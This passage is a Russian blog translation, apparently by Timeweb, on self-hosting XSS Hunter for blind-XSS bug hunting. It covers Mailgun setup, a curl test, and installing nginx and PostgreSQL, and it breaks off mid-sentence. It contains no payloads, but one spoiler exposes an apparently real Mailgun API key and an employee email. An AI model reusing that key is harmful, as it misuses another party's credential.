{"id":313293,"date":"2020-11-17T15:00:38","date_gmt":"2020-11-17T15:00:38","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=313293"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=313293","title":{"rendered":"\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 XSS Hunter"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<blockquote><p>\u041f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u043c \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/robinlunde.com\/blog\/installing-xss-hunter\/\">Installing XSS Hunter<\/a> \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435. <\/p>\n<p>  <b>\u0421\u043f\u043e\u0439\u043b\u0435\u0440:<\/b> \u0412\u0441\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442!<\/p><\/blockquote>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qw\/bd\/vw\/qwbdvwa0qp2ejezgvk6nixczira.jpeg\"><br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<h3>\u041f\u043e\u0447\u0435\u043c\u0443 XSS Hunter?<\/h3>\n<p>  \u041c\u043d\u043e\u0433\u0438\u0435 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0436\u0435 \u0437\u043d\u0430\u044e\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 <a href=\"https:\/\/xsshunter.com\/\">https:\/\/xsshunter.com\/<\/a> \u0438 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c xsshunter. \u0412 \u0434\u0432\u0443\u0445 \u0441\u043b\u043e\u0432\u0430\u0445, \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f <b>\u043f\u043e\u0438\u0441\u043a\u0430 blind XSS<\/b>. \u0417\u0430\u0447\u0435\u043c \u0442\u043e\u0433\u0434\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u043f\u0440\u043e\u0441\u0438\u0442\u0435 \u0432\u044b.<\/p>\n<p>  1. \u0412\u0441\u0451 \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0439\u0434\u0435\u0442 \u043d\u0435 \u0442\u0430\u043a, \u0432\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438 \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443.<\/p>\n<p>  2. \u0421\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c. \u0412\u044b \u0442\u043e\u0447\u043d\u043e \u0437\u043d\u0430\u0435\u0442\u0435, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u0438\u043b\u0438 \u043d\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u0448\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u0435\u0433\u043e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435, \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0433\u043e\u0442\u043e\u0432\u044b \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0441\u043e\u0442\u043d\u0438 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043e\u0431\u043b\u0430\u0434\u0430\u0442\u0435\u043b\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0435\u0433\u043e \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0435\u0442. \u042d\u0442\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e!<\/p>\n<p>  3. \u0412\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u0434\u0430\u043b\u0435\u043d\u044b \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043d\u0435\u0442.<\/p>\n<p>  <b>\u0411\u043e\u043d\u0443\u0441:<\/b> \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0441\u0442\u0430\u0442\u044c\u0435, \u0432\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435, \u043a\u0430\u043a \u0432\u0441\u0451 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u043e.<\/p>\n<blockquote><p>\u0415\u0441\u043b\u0438 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"https:\/\/habr.com\/ru\/company\/jetinfosystems\/blog\/450780\/\">\u0440\u0430\u0431\u043e\u0442\u0443<\/a> \u043d\u0430\u0448\u0438\u0445 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u00ab\u0418\u043d\u0444\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0414\u0436\u0435\u0442\u00bb.<\/p><\/blockquote>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/lx\/q3\/ie\/lxq3iehlk35vqgwwc2kvanu60go.jpeg\"><\/p>\n<h3>\u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c?<\/h3>\n<p>  <a href=\"https:\/\/thehackerblog.com\/xss-hunter-is-now-open-source-heres-how-to-set-it-up\/\">\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043f\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e<\/a> XSS Hunter \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 <a href=\"https:\/\/github.com\/mandatoryprogrammer\/xsshunter\">GitHub XSS Hunter<\/a>.<\/p>\n<p>  \u042d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0441\u0442\u0430\u0440\u0442, \u043d\u043e \u0434\u0430\u043d\u043d\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u043e. \u0422\u0430 \u0436\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0438 \u0441 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u043e\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 Ubuntu 18.04 \u043c\u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043a\u043e\u0435-\u0447\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443, \u043a\u0430\u043a \u0432\u0441\u0435-\u0442\u0430\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 XSS Hunter.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u044b\u0435 \u0448\u0430\u0433\u0438<\/h3>\n<p>  \u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u044f \u0431\u0435\u0440\u0443 \u0437\u0430 \u043e\u0441\u043d\u043e\u0432\u0443 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e.<\/p>\n<p>  \u0422\u0430\u043a\u0436\u0435 \u043c\u044b \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u043e\u043f\u044b\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u044d\u0442\u043e, \u044f \u0432\u0441\u0435-\u0442\u0430\u043a\u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u044e \u0443\u0433\u043b\u0443\u0431\u0438\u0442\u044c\u0441\u044f. \u041d\u0435 \u0441\u0442\u0435\u0441\u043d\u044f\u0439\u0442\u0435\u0441\u044c \u0437\u0430\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441\u044b!<\/p>\n<p>  <b>\u041d\u0430\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f:<\/b><\/p>\n<ul>\n<li>VPS \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0434\u043b\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/li>\n<li>\u0414\u043e\u043c\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f (\u041b\u0435\u0433\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0438 \u043a\u0443\u043f\u0438\u0442\u044c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/www.godaddy.com\/\">1<\/a>, <a href=\"https:\/\/www.namecheap.com\/\">2<\/a>, <a href=\"https:\/\/www.hostinger.com\/domain-checker\">3<\/a>)<\/li>\n<li>Wildcard-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442. \u0421\u043b\u0435\u0434\u0443\u044f <a href=\"https:\/\/medium.com\/@saurabh6790\/generate-wildcard-ssl-certificate-using-lets-encrypt-certbot-273e432794d7\">\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0443<\/a>, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 \u043e\u0434\u0438\u043d \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0434\u043e\u043c\u0435\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b \u043a\u0443\u043f\u0438\u043b\u0438. \u041f\u043e <a href=\"https:\/\/community.letsencrypt.org\/t\/acme-v2-and-wildcard-certificate-support-is-live\/55579\">\u044d\u0442\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435<\/a> \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f.<\/li>\n<\/ul>\n<p>  <\/p>\n<blockquote><p>\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c\u0438:<\/p>\n<ul>\n<li>\u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u043d\u0443\u0436\u043d\u0430 <a href=\"https:\/\/www.digitalocean.com\/community\/tutorials\/nginx-let-s-encrypt-ubuntu-18-04-ru\">\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f Nginx<\/a>,<\/li>\n<li> <a href=\"https:\/\/timeweb.com\/ru\/community\/articles\/apache-ubuntu-18-04-vypusk-i-ustanovka-ssl-sertifikata-let-s-encrypt\">\u0412\u044b\u043f\u0443\u0441\u043a \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Let&#8217;s Encrypt \u0434\u043b\u044f Apache<\/a>.<\/li>\n<\/ul>\n<\/blockquote>\n<p>  <\/p>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 XSS Hunter<\/h3>\n<p>  <\/p>\n<h4>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 mailgun<\/h4>\n<p>  1. \u0417\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0439\u0442\u0435 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c mailgun <a href=\"https:\/\/signup.mailgun.com\/\">\u0437\u0434\u0435\u0441\u044c<\/a>. \u041d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0443\u0431\u0440\u0430\u0442\u044c \u0433\u0430\u043b\u043e\u0447\u043a\u0443, \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e \u043d\u0438\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hr\/yp\/hk\/hryphk896mlouxj3hthxopdvmju.jpeg\"><\/p>\n<p>  2. \u0421\u043b\u0435\u0434\u0443\u0439\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u043d\u043e\u043c\u0435\u0440 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430.<\/p>\n<p>  3. \u041f\u0435\u0440\u0435\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 <a href=\"https:\/\/app.mailgun.com\/app\/sending\/domains\">\u0432\u043a\u043b\u0430\u0434\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438<\/a> \u0438 \u0432\u044b\u0431\u0435\u0440\u0438\u0442\u0435 \u0441\u0432\u043e\u0439 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043c\u0435\u043d.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/iz\/hv\/zz\/izhvzzwi72bh8cgrq1wduzobqrc.jpeg\"><\/p>\n<p>  4. \u0421\u043f\u0440\u0430\u0432\u0430 \u0432 \u0432\u0435\u0440\u0445\u043d\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u044d\u043a\u0440\u0430\u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u043a\u0443\u0434\u0430 \u0432\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0432\u0430\u0448 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, john.doe@gmail.com.<\/p>\n<p>  5. \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u0432\u044b\u0448\u0435, \u043d\u0430\u0436\u043c\u0438\u0442\u0435 \u043a\u043d\u043e\u043f\u043a\u0443 \u00ab\u0412\u044b\u0431\u0440\u0430\u0442\u044c\u00bb \u0432 \u0431\u043b\u043e\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0434\u0435\u043b\u0435\u043d \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u044e API.<\/p>\n<p>  6. \u0417\u0430\u043f\u0438\u0448\u0438\u0442\u0435 \u043a\u043b\u044e\u0447 API \u0438 \u0434\u043e\u043c\u0435\u043d \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u041e\u043d\u0438 \u0432\u0430\u043c \u0441\u043a\u043e\u0440\u043e \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f!<\/p>\n<p>  \u0414\u043e\u043c\u0435\u043d \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u2014 \u044d\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0447\u0430\u0441\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e URL-\u0430\u0434\u0440\u0435\u0441\u0430 API: sandboxe678.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">sandbox82f7e729ed934d1189bcc6bd32aaa977  <\/div>\n<\/p><\/div>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9o\/bn\/5e\/9obn5ehialu1ud9d4yw0g2whnqu.jpeg\"><\/p>\n<p>  7. \u041e\u0442\u043a\u0440\u043e\u0439\u0442\u0435 \u043f\u043e\u0447\u0442\u0443 \u0438 \u043d\u0430\u0439\u0434\u0438\u0442\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u043e\u0442 mailgun.<\/p>\n<p>  8. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u0435 \u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u043d\u0430\u0436\u0430\u0432 \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u0432 \u043f\u0438\u0441\u044c\u043c\u0435.<\/p>\n<p>  (\u041f\u0438\u0441\u044c\u043c\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u043c\u0438 \u0430\u0434\u0440\u0435\u0441 \u0432 \u0448\u0430\u0433\u0435 4, \u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430 john.doe@gmail.com).<\/p>\n<h4>\u0423\u0431\u0435\u0434\u0438\u043c\u0441\u044f, \u0447\u0442\u043e \u0432\u0441\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/h4>\n<p>  \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.<\/p>\n<p>  \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435:<\/p>\n<p>  <b>[API_KEY]<\/b>: \u0432\u0430\u0448 \u043a\u043b\u044e\u0447 API<br \/>  <b>[API_BASE_URL]<\/b>: \u0432\u0430\u0448 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 URL API<br \/>  <b>[YOUR_EMAIL]<\/b>: \u0432\u0430\u0448 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 email<\/p>\n<p>  \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: <i>john.doe@gmail.com<\/i>.<\/p>\n<pre><code class=\"bash\">curl -s --user 'api:[API_KEY]' \\ \thttps:\/\/api.mailgun.net\/v3\/[API_BASE_URL]\/messages \\ \t-F from='Excited User &lt;mailgun@[API_BASE_URL]&gt;' \\ \t-F to=[YOUR_EMAIL] \\ \t-F subject='Hello' \\ \t-F text='Testing some Mailgun awesomeness!'<\/code><\/pre>\n<p>  <b>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435<\/b>: \u0412\u0435\u0440\u0441\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0434\u043b\u044f \u0441\u0442\u0440\u0430\u043d \u0415\u0421 \u0438\u043c\u0435\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 URL. \u0411\u044b\u0441\u0442\u0440\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0432 Google \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u0448\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 mailgun \u043f\u043e\u0434\u0441\u043a\u0430\u0436\u0443\u0442 \u0432\u0430\u043c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043e\u0442 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u041d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c curl:<\/p>\n<pre><code class=\"bash\">curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \\https:\/\/api.mailgun.net\/v3\/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org\/messages \\ \t-F from='Excited User &lt;mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org&gt;' \\ \t-F to=r.tkach@timeweb.ru \\ \t-F subject='\u0419\u043e' \\ \t-F text='\u0422\u0435\u0441\u0442\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0447\u0435\u0440\u0435\u0437 MailGun'<\/code><\/pre>\n<p>  \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435:<\/p>\n<pre><code class=\"bash\">{   &quot;id&quot;: &quot;&lt;20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org&gt;&quot;,   &quot;message&quot;: &quot;Queued. Thank you.&quot; }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0447\u0442\u043e\u0431\u044b \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u043e, \u043a\u0430\u043a \u0432 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u043d\u0438\u0436\u0435. \u0415\u0441\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u043d\u0435\u0442, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u044d\u0442\u0430\u043f\u0443, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0435\u043f\u043e\u043b\u0430\u0434\u043a\u0438.<\/p>\n<h3>\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439<\/h3>\n<p>  \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b:<\/p>\n<pre><code class=\"bash\"># install dependencies sudo apt-get install nginx &amp;&amp; sudo apt-get install postgresql postgresql-contrib<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~#  apt-get install nginx &amp;&amp; apt-get install postgresql postgresql-contrib<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0417\u0430\u0442\u0435\u043c 